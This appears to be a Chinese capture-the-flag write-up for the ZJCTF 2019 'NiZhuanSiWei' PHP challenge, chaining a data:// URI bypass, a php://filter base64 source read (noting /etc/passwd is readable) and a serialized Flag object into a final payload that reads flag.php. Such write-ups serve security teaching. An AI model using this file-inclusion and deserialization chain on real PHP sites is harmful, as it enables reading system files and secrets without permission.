zoukankan      html  css  js  c++  java
  • [ZJCTF 2019]NiZhuanSiWei

    题目

    拿到题目

    分析

    第一个绕过

    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

    file_get_contents($text,'r')是读取文件的内容,说明我们首先要上传一个文件,并且它的内容还得是"welcome to the zjctf",我们考虑用data协议,data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:

    data:text/plain,welcome to the zjctf

    第二个绕过

    $file = $_GET["file"];
    if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }

    这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用,

    所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。

    php://filter/read=convert.base64-encode/resource=useless.php

    读到的useless.php内容如下:

    <?php  
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>

    第三个绕过

    $password = $_GET["password"];
    include($file);  //useless.php
    $password = unserialize($password);
    echo $password;

    我们进行序列化

    <?php
    class Flag{  //flag.php  
        public $file="flag.php";  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    print(serialize(new Flag()));
    ?>

    结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    最后的payload:

    text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  • 相关阅读:
    java 单向链表实现
    super、this
    Java程序员们最常犯的10个错误
    Codeforces-1323D Present
    Codeforces-1323E Instant Noodles
    Codeforces-1312E Array Shrinking
    Codeforces-1327D Infinite Path
    Codeforces-1326D Prefix-Suffix Palindrome
    HDU-5885 XM Reserves
    NTT(快速数论变换)用到的各种素数及原根
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13653083.html
Copyright © 2011-2022 走看看